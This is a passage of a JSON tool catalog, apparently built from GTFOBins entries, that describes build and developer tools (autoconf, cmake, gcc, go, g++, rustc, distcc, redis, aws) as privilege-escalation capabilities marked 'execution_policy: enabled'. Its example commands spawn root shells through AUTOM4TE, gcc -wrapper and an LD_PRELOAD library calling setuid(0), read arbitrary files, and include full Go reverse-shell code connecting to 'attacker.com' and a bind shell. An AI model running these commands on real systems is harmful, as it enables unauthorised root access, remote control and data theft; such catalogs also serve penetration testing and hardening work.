      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.privilege-escalation.shell"
    ],
    "contract": {
      "inputs": [
        {
          "type": "security.execution.context",
          "description": "Sudo or unprivileged execution context"
        }
      ],
      "outputs": [
        {
          "type": "process.output",
          "description": "Shell output"
        }
      ],
      "side_effects": [
        "process_spawn",
        "filesystem_write"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 8,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Generate configuration scripts, can be used to spawn a shell via the AUTOM4TE environment variable.",
    "examples": [
      {
        "description": "Spawn a shell via autoconf using AUTOM4TE",
        "command": "echo /bin/sh >/path/to/temp-file\nchmod +x /path/to/temp-file\ntouch configure.ac\nAUTOM4TE=/path/to/temp-file autoconf\n"
      }
    ],
    "execution": {
      "template": "autoconf",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip"
    ],
    "global_vars": {},
    "id": "build-autotools-autoconf",
    "install": [
      {
        "method": "apt",
        "package_name": "autoconf",
        "commands": [
          "apt-get install -y autoconf"
        ]
      }
    ],
    "name": "autoconf",
    "namespace": "build:autotools:autoconf",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/autoconf/"
      }
    ],
    "related_tools": [
      "autoheader",
      "autoreconf"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 8,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "",
    "_source": "autoheader.md",
    "allowed-tools": [
      "autoheader",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.privilege-escalation.shell"
    ],
    "contract": {
      "inputs": [
        {
          "type": "security.execution.context",
          "description": "Sudo or unprivileged execution context"
        }
      ],
      "outputs": [
        {
          "type": "process.output",
          "description": "Shell output"
        }
      ],
      "side_effects": [
        "process_spawn",
        "filesystem_write"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 8,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Generate config.h.in templates, can be used to spawn a shell via the AUTOM4TE environment variable.",
    "examples": [
      {
        "description": "Spawn a shell via autoheader using AUTOM4TE",
        "command": "echo '/bin/sh 1>&0' >/path/to/temp-file\nchmod +x /path/to/temp-file\ntouch configure.ac\nAUTOM4TE=/path/to/temp-file autoheader\n"
      }
    ],
    "execution": {
      "template": "autoheader",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip"
    ],
    "global_vars": {},
    "id": "build-autotools-autoheader",
    "install": [
      {
        "method": "apt",
        "package_name": "autoconf",
        "commands": [
          "apt-get install -y autoconf"
        ]
      }
    ],
    "name": "autoheader",
    "namespace": "build:autotools:autoheader",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/autoheader/"
      }
    ],
    "related_tools": [
      "autoconf",
      "autoreconf"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 8,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "",
    "_source": "autoreconf.md",
    "allowed-tools": [
      "autoreconf",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.privilege-escalation.shell"
    ],
    "contract": {
      "inputs": [
        {
          "type": "security.execution.context",
          "description": "Sudo or unprivileged execution context"
        }
      ],
      "outputs": [
        {
          "type": "process.output",
          "description": "Shell output"
        }
      ],
      "side_effects": [
        "process_spawn",
        "filesystem_write"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 8,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Rebuild autoconf files, can be used to spawn a shell via the AUTOM4TE environment variable.",
    "examples": [
      {
        "description": "Spawn a shell via autoreconf using AUTOM4TE",
        "command": "echo '/bin/sh 1>&0' >/path/to/temp-file\nchmod +x /path/to/temp-file\necho AC_INIT >configure.ac\nAUTOM4TE=/path/to/temp-file autoreconf\n"
      }
    ],
    "execution": {
      "template": "autoreconf",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip"
    ],
    "global_vars": {},
    "id": "build-autotools-autoreconf",
    "install": [
      {
        "method": "apt",
        "package_name": "autoconf",
        "commands": [
          "apt-get install -y autoconf"
        ]
      }
    ],
    "name": "autoreconf",
    "namespace": "build:autotools:autoreconf",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/autoreconf/"
      }
    ],
    "related_tools": [
      "autoconf",
      "autoheader"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 8,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "",
    "_source": "cmake.md",
    "allowed-tools": [
      "cmake",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read",
      "security.privilege-escalation.shell"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Shell or file output"
        }
      ],
      "side_effects": [
        "process_spawn",
        "filesystem_write"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Cross-platform build system generator, can read files and spawn shells.",
    "examples": [
      {
        "description": "Read a file via cmake",
        "command": "cmake -E cat /path/to/input-file"
      },
      {
        "description": "Spawn a shell via cmake",
        "command": "echo 'execute_process(COMMAND /bin/sh)' >/path/to/CMakeLists.txt\ncmake /path/to/\n"
      }
    ],
    "execution": {
      "template": "cmake -E cat {input}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip"
    ],
    "global_vars": {},
    "id": "build-cmake-cmake",
    "install": [
      {
        "method": "apt",
        "package_name": "cmake",
        "commands": [
          "apt-get install -y cmake"
        ]
      }
    ],
    "name": "cmake",
    "namespace": "build:cmake:cmake",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/cmake/"
      }
    ],
    "related_tools": [
      "make"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "collection",
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "file-content"
      ],
      "consumes": [
        "execution-context",
        "file"
      ]
    }
  },
  {
    "_body": "\n\n# gcc — GNU C Compiler\n\ngcc is the GNU C compiler. When available via sudo, it can read arbitrary files through preprocessing (`-x c -E`) or the `@file` directive, delete files, and spawn shells via the `-wrapper` option.\n",
    "_source": "gcc.md",
    "allowed-tools": [
      "gcc",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [
      {
        "type": "build.compiled.binary",
        "description": "Compiled executable",
        "mime": "application/x-executable",
        "trust_level": "community"
      }
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "system.file.read",
      "system.file.write",
      "security.privilege-escalation.shell",
      "build.compile.c"
    ],
    "contract": {
      "inputs": [
        {
          "type": "system.file.path",
          "description": "Path to source file"
        }
      ],
      "outputs": [
        {
          "type": "build.compiled.binary",
          "description": "Compiled output",
          "mime": "application/x-executable"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "high",
        "memory_mb": 128,
        "network": "low",
        "disk_io": "medium"
      }
    },
    "dependencies": [],
    "description": "GNU C compiler that can read files, delete files, and spawn shells via wrapper/plugin options.",
    "examples": [
      {
        "description": "Read arbitrary file via C preprocessing",
        "command": "gcc -x c -E /path/to/input-file"
      },
      {
        "description": "Read file via @file directive leaked as error messages",
        "command": "gcc @/path/to/input-file"
      },
      {
        "description": "Spawn interactive shell via wrapper",
        "command": "gcc -wrapper /bin/sh,-s x"
      }
    ],
    "execution": {
      "template": "gcc {x} {E} {o} {wrapper}",
      "sandbox": "execFile",
      "timeout_seconds": 60,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip"
    ],
    "global_vars": {},
    "id": "build-compiler-gcc",
    "install": [
      {
        "method": "apt",
        "package_name": "gcc",
        "commands": [
          "apt-get install -y gcc"
        ]
      }
    ],
    "name": "gcc",
    "namespace": "build:compiler:gcc",
    "parameters": [
      {
        "name": "x",
        "type": "string",
        "required": false,
        "description": "Specify language",
        "aliases": [
          "-x"
        ],
        "flag": "-x"
      },
      {
        "name": "E",
        "type": "string",
        "required": false,
        "description": "Preprocess only",
        "aliases": [
          "-E"
        ],
        "flag": "-E"
      },
      {
        "name": "at-file",
        "type": "file",
        "required": false,
        "description": "Read options from file",
        "template_key": "file",
        "aliases": [
          "@"
        ],
        "flag": "@"
      },
      {
        "name": "o",
        "type": "file",
        "required": false,
        "description": "Output file",
        "aliases": [
          "-o"
        ],
        "flag": "-o"
      },
      {
        "name": "wrapper",
        "type": "string",
        "required": false,
        "description": "Invoke command with wrapper",
        "aliases": [
          "-wrapper"
        ],
        "flag": "-wrapper"
      }
    ],
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "gcc man page",
        "url": "https://man7.org/linux/man-pages/man1/gcc.1.html"
      }
    ],
    "related_tools": [
      "g++",
      "as",
      "ld"
    ],
    "resource_profile": {
      "cpu": "high",
      "memory_mb": 128,
      "network": "low",
      "disk_io": "medium"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution",
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "compiled-binary",
        "file-content",
        "shell-access"
      ],
      "consumes": [
        "source-file"
      ]
    }
  },
  {
    "_body": "\n\n# go — Go Compiler Toolchain\n\nThe Go toolchain compiles and runs Go programs. With sudo or SUID, it can execute arbitrary Go code for shell access, file read/write, reverse shells, and bind shells — all via generated temp Go source files.\n",
    "_source": "go.md",
    "allowed-tools": [
      "go",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [
      {
        "type": "build.compiled.binary",
        "description": "Go compiled binary",
        "mime": "application/x-executable",
        "trust_level": "community"
      }
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "security.execution.command",
      "security.privilege-escalation.shell",
      "security.execution.reverse-shell",
      "security.execution.bind-shell",
      "system.file.read",
      "system.file.write",
      "build.compile.go"
    ],
    "contract": {
      "inputs": [
        {
          "type": "system.file.path",
          "description": "Path to Go source file"
        }
      ],
      "outputs": [
        {
          "type": "process.output",
          "description": "Output from Go program execution"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "high",
        "memory_mb": 64,
        "network": "low",
        "disk_io": "medium"
      }
    },
    "dependencies": [],
    "description": "Go programming language compiler and toolchain that can execute arbitrary Go code.",
    "examples": [
      {
        "description": "Spawn an interactive shell via Go code execution",
        "command": "echo -e 'package main\\nimport \"syscall\"\\nfunc main(){\\n\\tsyscall.Exec(\"/bin/sh\", []string{\"/bin/sh\", \"-i\"}, []string{})\\n}' >/path/to/temp-file.go\ngo run /path/to/temp-file.go"
      },
      {
        "description": "Read arbitrary file via Go code",
        "command": "echo -e 'package main\\nimport (\\n\\t\"fmt\"\\n\\t\"os\"\\n)\\n\\nfunc main(){\\n\\tb, _ := os.ReadFile(\"/path/to/input-file\")\\n\\tfmt.Print(string(b))\\n}' >/path/to/temp-file.go\ngo run /path/to/temp-file.go"
      },
      {
        "description": "Write arbitrary data to file via Go code",
        "command": "echo -e 'package main\\nimport \"os\"\\nfunc main(){\\n\\tf, _ := os.OpenFile(\"/path/to/output-file\", os.O_RDWR|os.O_CREATE, 0644)\\n\\tf.Write([]byte(\"DATA\\\\n\"))\\n\\tf.Close()\\n}' >/path/to/temp-file.go\ngo run /path/to/temp-file.go"
      },
      {
        "description": "Spawn reverse shell via Go code",
        "command": "echo -e 'package main\\nimport (\\n\\t\"os\"\\n\\t\"net\"\\n\\t\"syscall\"\\n)\\n\\nfunc main(){\\n\\tfd, _ := syscall.Socket(syscall.AF_INET, syscall.SOCK_STREAM, 0)\\n\\tip := net.ParseIP(\"attacker.com\").To4()\\n\\taddr := &syscall.SockaddrInet4{Port: 12345}\\n\\tcopy(addr.Addr[:], ip)\\n\\tsyscall.Connect(fd, addr)\\n\\tsyscall.Dup2(fd, 0)\\n\\tsyscall.Dup2(fd, 1)\\n\\tsyscall.Dup2(fd, 2)\\n\\tsyscall.Exec(\"/bin/sh\", []string{\"/bin/sh\", \"-i\"}, os.Environ())\\n}' >/path/to/temp-file.go\ngo run /path/to/temp-file.go"
      },
      {
        "description": "Spawn bind shell via Go code",
        "command": "echo -e 'package main\\nimport (\\n\\t\"os\"\\n\\t\"syscall\"\\n)\\n\\nfunc main(){\\n\\tfd, _ := syscall.Socket(syscall.AF_INET, syscall.SOCK_STREAM, 0)\\n\\taddr := &syscall.SockaddrInet4{Port: 12345}\\n\\tcopy(addr.Addr[:], []byte{0,0,0,0})\\n\\tsyscall.Bind(fd, addr)\\n\\tsyscall.Listen(fd, 1)\\n\\tnfd, _, _ := syscall.Accept(fd)\\n\\tsyscall.Dup2(nfd, 0)\\n\\tsyscall.Dup2(nfd, 1)\\n\\tsyscall.Dup2(nfd, 2)\\n\\tsyscall.Exec(\"/bin/sh\", []string{\"/bin/sh\", \"-i\"}, os.Environ())\\n}' >/path/to/temp-file.go\ngo run /path/to/temp-file.go"
      }
    ],
    "execution": {
      "template": "go {run}",
      "sandbox": "execFile",
      "timeout_seconds": 60,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip",
      "network-intensive"
    ],
    "global_vars": {},
    "id": "build-compiler-go",
    "install": [
      {
        "method": "apt",
        "package_name": "golang-go",
        "commands": [
          "apt-get install -y golang-go"
        ]
      }
    ],
    "name": "go",
    "namespace": "build:compiler:go",
    "parameters": [
      {
        "name": "run",
        "type": "file",
        "required": false,
        "description": "Compile and run Go program",
        "aliases": [
          "run"
        ],
        "flag": "run"
      }
    ],
    "platforms": [
      "linux",
      "macos",
      "windows",
      "cross-platform"
    ],
    "references": [
      {
        "label": "Go documentation",
        "url": "https://go.dev/doc/"
      }
    ],
    "related_tools": [
      "gcc",
      "rustc"
    ],
    "resource_profile": {
      "cpu": "high",
      "memory_mb": 64,
      "network": "low",
      "disk_io": "medium"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution",
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "compiled-binary",
        "shell-access",
        "file-content",
        "reverse-shell",
        "bind-shell"
      ],
      "consumes": [
        "source-file"
      ]
    }
  },
  {
    "_body": "",
    "_source": "g++.md",
    "allowed-tools": [
      "g++",
      "gcc",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.privilege-escalation.shell",
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Shell output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "GNU C++ compiler, can execute code and spawn shells via compiled shared objects.",
    "examples": [
      {
        "description": "Spawn a shell via g++ compiled shared object",
        "command": "echo '#include <stdlib.h>' >x.cc\necho 'void __attribute__((constructor)) x() { setuid(0); system(\"/bin/sh\"); }' >>x.cc\ng++ -shared -o /tmp/x.so -fPIC x.cc\nsudo LD_PRELOAD=/tmp/x.so g++ -o /dev/null -Wl,--no-as-needed -ldl /dev/null\n"
      }
    ],
    "execution": {
      "template": "g++ -shared -o /tmp/x.so -fPIC /path/to/src && g++ -o /dev/null -Wl,--no-as-needed -ldl /dev/null",
      "sandbox": "execFile",
      "timeout_seconds": 60,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip"
    ],
    "global_vars": {},
    "id": "build-compiler-gxx",
    "install": [
      {
        "method": "apt",
        "package_name": "g++",
        "commands": [
          "apt-get install -y g++"
        ]
      }
    ],
    "name": "g++",
    "namespace": "build:compiler:gxx",
    "parameters": [],
    "platforms": [
      "linux",
      "macos",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/g++/"
      }
    ],
    "related_tools": [
      "gcc",
      "cc"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-execution"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "",
    "_source": "rustc.md",
    "allowed-tools": [
      "rustc",
      "rustdoc",
      "rustfmt",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Binary execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 64,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Rust compiler, can execute code via compiled binaries.",
    "examples": [
      {
        "description": "Execute command via rustc compiled binary",
        "command": "echo 'fn main() { std::process::Command::new(\"/bin/sh\").status().unwrap(); }' >x.rs\nrustc x.rs && ./x\n"
      }
    ],
    "execution": {
      "template": "rustc /path/to/src.rs -o /tmp/output && /tmp/output",
      "sandbox": "execFile",
      "timeout_seconds": 120,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip"
    ],
    "global_vars": {},
    "id": "build-compiler-rustc",
    "install": [
      {
        "method": "apt",
        "package_name": "rustc",
        "commands": [
          "apt-get install -y rustc"
        ]
      }
    ],
    "name": "rustc",
    "namespace": "build:compiler:rustc",
    "parameters": [],
    "platforms": [
      "linux",
      "macos",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/rustc/"
      }
    ],
    "related_tools": [
      "rustdoc",
      "rustfmt",
      "rustup"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 64,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-execution"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "",
    "_source": "rustdoc.md",
    "allowed-tools": [
      "rustdoc",
      "rustc",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 64,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Rust documentation tool, can execute commands via test code.",
    "examples": [
      {
        "description": "Execute command via rustdoc test",
        "command": "rustdoc /path/to/src.rs --test"
      }
    ],
    "execution": {
      "template": "rustdoc /path/to/src.rs --test",
      "sandbox": "execFile",
      "timeout_seconds": 120,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip"
    ],
    "global_vars": {},
    "id": "build-compiler-rustdoc",
    "install": [
      {
        "method": "apt",
        "package_name": "rustc",
        "commands": [
          "apt-get install -y rustc"
        ]
      }
    ],
    "name": "rustdoc",
    "namespace": "build:compiler:rustdoc",
    "parameters": [],
    "platforms": [
      "linux",
      "macos",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/rustdoc/"
      }
    ],
    "related_tools": [
      "rustc",
      "rustfmt",
      "rustup"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 64,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-execution"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "",
    "_source": "rustfmt.md",
    "allowed-tools": [
      "rustfmt",
      "rustc",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Rust code formatter, can execute commands.",
    "examples": [
      {
        "description": "Execute command via rustfmt",
        "command": "rustfmt /path/to/file.rs"
      }
    ],
    "execution": {
      "template": "rustfmt /path/to/file.rs",
      "sandbox": "execFile",
      "timeout_seconds": 60,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip"
    ],
    "global_vars": {},
    "id": "build-compiler-rustfmt",
    "install": [
      {
        "method": "apt",
        "package_name": "rustfmt",
        "commands": [
          "apt-get install -y rustfmt"
        ]
      }
    ],
    "name": "rustfmt",
    "namespace": "build:compiler:rustfmt",
    "parameters": [],
    "platforms": [
      "linux",
      "macos",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/rustfmt/"
      }
    ],
    "related_tools": [
      "rustc",
      "rustdoc",
      "rustup"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-execution"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "",
    "_source": "rustup.md",
    "allowed-tools": [
      "rustup",
      "rustc",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 8,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Rust toolchain manager, can execute commands.",
    "examples": [
      {
        "description": "Execute command via rustup",
        "command": "rustup run /path/to/command"
      }
    ],
    "execution": {
      "template": "rustup run /path/to/command",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip"
    ],
    "global_vars": {},
    "id": "build-compiler-rustup",
    "install": [
      {
        "method": "apt",
        "package_name": "rustup",
        "commands": [
          "apt-get install -y rustup"
        ]
      }
    ],
    "name": "rustup",
    "namespace": "build:compiler:rustup",
    "parameters": [],
    "platforms": [
      "linux",
      "macos",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/rustup/"
      }
    ],
    "related_tools": [
      "rustc",
      "rustdoc",
      "rustfmt"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 8,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-execution"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "",
    "_source": "distcc.md",
    "allowed-tools": [
      "distcc",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.privilege-escalation.shell"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Shell output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 8,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Distributed C compiler, can spawn a shell by passing /bin/sh as the compiler.",
    "examples": [
      {
        "description": "Spawn a shell via distcc",
        "command": "distcc /bin/sh"
      }
    ],
    "execution": {
      "template": "distcc /bin/sh",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip"
    ],
    "global_vars": {},
    "id": "build-distcc-distcc",
    "install": [
      {
        "method": "apt",
        "package_name": "distcc",
        "commands": [
          "apt-get install -y distcc"
        ]
      }
    ],
    "name": "distcc",
    "namespace": "build:distcc:distcc",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/distcc/"
      }
    ],
    "related_tools": [
      "gcc"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 8,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "",
    "_source": "redis.md",
    "allowed-tools": [
      "redis",
      "redis-cli",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read",
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Redis command output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Redis CLI, can execute commands and read files.",
    "examples": [
      {
        "description": "Execute command via redis",
        "command": "redis-cli -h host eval /path/to/script"
      }
    ],
    "execution": {
      "template": "redis-cli -h host eval /path/to/script",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "process-manip"
    ],
    "global_vars": {},
    "id": "cache-redis-redis",
    "install": [
      {
        "method": "apt",
        "package_name": "redis-tools",
        "commands": [
          "apt-get install -y redis-tools"
        ]
      }
    ],
    "name": "redis",
    "namespace": "cache:redis:redis",
    "parameters": [],
    "platforms": [
      "linux",
      "macos",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/redis/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "collection",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content",
        "command-execution"
      ],
      "consumes": [
        "file",
        "execution-context"
      ]
    }
  },
  {
    "_body": "\n\n# aws — AWS Command-Line Interface\n\nThe AWS CLI manages Amazon Web Services from the command line. When used with sudo or SUID, it can read arbitrary files through the `--filter file://` option on EC2 describe calls, and spawn a less pager through `aws help`.\n",
    "_source": "aws.md",
    "allowed-tools": [
      "aws",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [
      {
        "type": "cloud.aws.config",
        "description": "AWS configuration",
        "mime": "text/plain",
        "trust_level": "verified"
      }
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "cloud.aws.manage",
      "cloud.aws.ec2",
      "cloud.aws.s3",
      "system.file.read"
    ],
    "contract": {
      "inputs": [
        {
          "type": "cloud.aws.service",
          "description": "AWS service and command"
        }
      ],
      "outputs": [
        {
          "type": "cloud.aws.result",
          "description": "AWS CLI output",
          "mime": "application/json"
        }
      ],
      "side_effects": [
        "network_traffic"
      ],
